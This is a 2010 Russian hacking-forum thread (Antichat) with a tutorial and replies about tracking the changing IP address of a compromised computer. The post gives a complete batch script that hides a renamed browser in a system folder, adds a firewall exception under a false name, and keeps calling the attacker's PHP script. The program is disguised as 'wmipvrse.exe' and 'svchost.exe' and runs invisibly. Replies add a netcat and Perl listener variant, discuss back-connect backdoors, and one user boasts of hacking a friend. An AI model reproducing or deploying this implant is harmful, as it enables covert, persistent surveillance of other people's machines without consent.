ANTICHAT

ANTICHAT (https://forum.antichat.xyz/index.php)
-   Статьи (https://forum.antichat.xyz/forumdisplay.php?f=30)
-   -   [EasyHack] Динамический IP (https://forum.antichat.xyz/showthread.php?t=213312)

|qbz| 23.06.2010 00:58

В очередной раз хочу поделиться с Вами решением очень частой проблемы. Данная проблема заключается в том, чтобы узнать ИП - адрес компьютера/дедика. Нет, не просто узнать, а узнавать и иметь над этим контроль постоянно. То есть, грубо говоря, будем писать обход смены динамических IP - адресов. Как ни странно, но мы снова будем использовать связку PHP + BAT. Ну вот нехочется мне заводить таких гигантов ЯП как C или Delphi, когда можно ограничиться небольшим. Да и интереснее .

К делу.

Сначала принцип:

Работа основана на том, что после запуска какой-то софтины, она будет стучать нам на наш скрипт PHP через HTTP, а мы ловить этот IP-адрес.

Решение:

Сначала необходимо продумать чем мы будет обращатся к нашему скрипту по HTTP. Можно было бы воспользоваться телнетом, но с телнет-батниками много геморроя, так как телнет не приучен хавать команды из *.bat или *.cmd скриптов.

Тогда мы идем к дяде Google и вежливо его спрашиваем: "Консольный браузер для виндовс". Нам так же вежливо отвечают - "Есть такой, Links называется.". Значит качаем данный браузер и пугаемся - целых 2.5 мегабайта. Но это впринципе не беда. Почему? Потому что при создании из батника нашей "звонилки" будет проход через UPX, а это значит, что размер должен быть порядочно сжат. Теперь надо научиться с ним работать. Это оказалось очень легко, так как заход на определенный адрес идет в очень простом синтаксисе, а именно:

Код:

links.exe http://google.com
Теперь, создадим из всех файлов браузера - только один. С таким файлом удобнее работать.

Создание такого файла является простым - достаточно создать лоадер браузера:

Код:

"%CD%\wmiprvse.exe" %1
Где в кавычках - это путь до переименованного екзешника браузера (links.exe => wmiprvse.exe), а процент с единицей - это передача парметра открываемой страницы. Теперь компилируем данный лоадер вместе с инклудом в билд самого браузера через "Bat to Exe Converter". Данный "собранный" браузер назовем "wmipvrse.exe".

Теперь, создадим саму стучалку:

Код:

copy "%CD%\wmipvrse.exe" "%SYSTEMROOT%\Debug\wmipvrse.exe" /y
attrib "%SYSTEMROOT%\Debug\wmipvrse.exe" +h +s
netsh firewall set allowedprogram "%SYSTEMROOT%\Debug\wmipvrse.exe" WindowsMediaPlayer ENABLE
:rep
taskkill /f /IM wmipvrse.exe
taskkill /f /IM wmiprvse.exe
start %SYSTEMROOT%\Debug\wmipvrse.exe %1
ping -n 1 -w 10000 0.0.0.1
goto :rep

Работа очень проста:

сперва мы скопируем сам браузер в системную папочку,

далее сделаем ее системно-скрытой,

добавим браузер в исключения файрволла,

а потом по кругу, с паузой в 10 секунд (обеспечивает проверка пинга), вызываем наш браузер, и тут же его убиваем (перед следующим запуском, то есть у нас есть 10 секунд, чтобы достучатся до нашего скрипта).

Тем самым, у нас есть два файла - браузер & батник, обеспечивающий его работу.

Теперь вооружимся компилятором бат-файлов (его можно найти здесь - /thread175086.html) и компилируем данный скрипт, с параметрами:

Код:

- Invisible application
- Temporary directory
- Delete at exit
- Overwrite existing files

также не забываем добавить в билд сам браузер (wmipvrse.exe). Теперь достаточно переименовать сам билд в какой-нибудь svchost.exe, и запустить его примерно так:

Код:

svchost.exe http://lovim-ip.ru/ip.php
Пример самого скрипта PHP, ловящего IP (записывает в файл "ip.html"):

PHP код:

[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"][/COLOR][/COLOR

Тайм-аут соединения со скриптом редактируем тут - "ping -n 1 -w 10000 0.0.0.1", где 10000 равно 10секундам.

Браузер "Links" (собранный в один файл и не собранный) - Links.zip

Готовая "звонилка" - Svchost.exe

(запуск: svchost.exe http://adres-php-skripta.com/skript.php)

warwar 23.06.2010 01:12

Не проще залить бекдор с бекконектом?

Чем браузеры всякие качать на машину?

|qbz| 23.06.2010 01:21

согласен, что это быстрее. но так как процент бекдоров с бекконнектом очень мал, и я не хотел инфицировать машину, а решить конкретно эту проблему - это выход.

noxjoker 23.06.2010 01:54

Цитата:

Сообщение от None
Не проще залить бекдор с бекконектом?
Чем браузеры всякие качать на машину?

+1

Цитата:

Сообщение от None
согласен, что это быстрее. но так как процент бекдоров с бекконнектом очень мал, и я не хотел инфицировать машину, а решить конкретно эту проблему - это выход.

Тебе показать бекдор с бекконектом?

slashd 23.06.2010 02:00

Можно было бы использовать вместо браузера netcat. Главный плюс - он весит всего 60кб, а в качестве флага исп-ть конект на порт 8888.

Код:

nc.exe lovim-ip.ru 8888
На сервере написать простую прогу висящую на 8888 порту

Код:

#!/usr/bin/perl
use strict;
use IO::Socket;
my $sock = IO::Socket::INET->new(LocalPort => 8888,
Listen    => 20,
Proto      => 'tcp' # а можно и udp
Reuse    => 1,
Timeout  => 3600 );
while (1) {
next unless my $sess = $sock->accpet;
my $ip = $sess->peeraddr;
print "IPaddr -> $ip\n";
shutdown $sess;
}

если работать через udp, то netcat надо запускать c опцией '-u'

|qbz| 23.06.2010 02:29

Цитата:

Сообщение от None
Можно было бы использовать вместо браузера netcat. Главный плюс - он весит всего 60кб, а в качестве флага исп-ть конект на порт 8888.

тоже вариант. впринципе все это решается в любом случае сторонними программами/утилитами/троями итд. я показал один из вариантов.

Kabare 29.06.2010 16:27

отличная статья.

друга только что им ломанул

warwar 29.06.2010 16:44

Цитата:

Сообщение от |qbz|
согласен, что это быстрее. но так как процент бекдоров с бекконнектом очень мал, и я не хотел инфицировать машину, а решить конкретно эту проблему - это выход.

Не согласен. В паблике море бекдоров с бекконектом.

|qbz| 29.06.2010 17:09

Цитата:

Сообщение от None
Не согласен. В паблике море бекдоров с бекконектом.

возможно. если у тя есть сорцы какого-нить, то интересно посмотреть.

Engineer 01.07.2010 00:00

Мне тоже! Сорцы так просто не достать!


Время: 17:22